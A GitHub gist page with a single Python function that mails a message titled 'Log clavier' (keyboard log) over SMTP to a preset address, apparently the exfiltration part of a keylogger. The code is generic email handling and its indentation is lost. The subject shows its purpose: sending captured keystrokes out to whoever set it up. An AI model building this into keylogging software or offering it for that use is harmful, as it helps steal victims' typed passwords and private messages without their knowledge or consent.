Skip to content

Instantly share code, notes, and snippets.

@melkael
Created January 30, 2019 10:31
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save melkael/73647eac9cc0032021bdc716395077bd to your computer and use it in GitHub Desktop.
Save melkael/73647eac9cc0032021bdc716395077bd to your computer and use it in GitHub Desktop.
def sendEmail(message):
msg = MIMEMultipart()
password = PASS
msg['From'] = EMAIL
msg['To'] = EMAIL
msg['Subject'] = "Log clavier"
msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(SERVER)
if USE_TLS is True:
server.starttls()
server.login(msg['From'], password)
server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment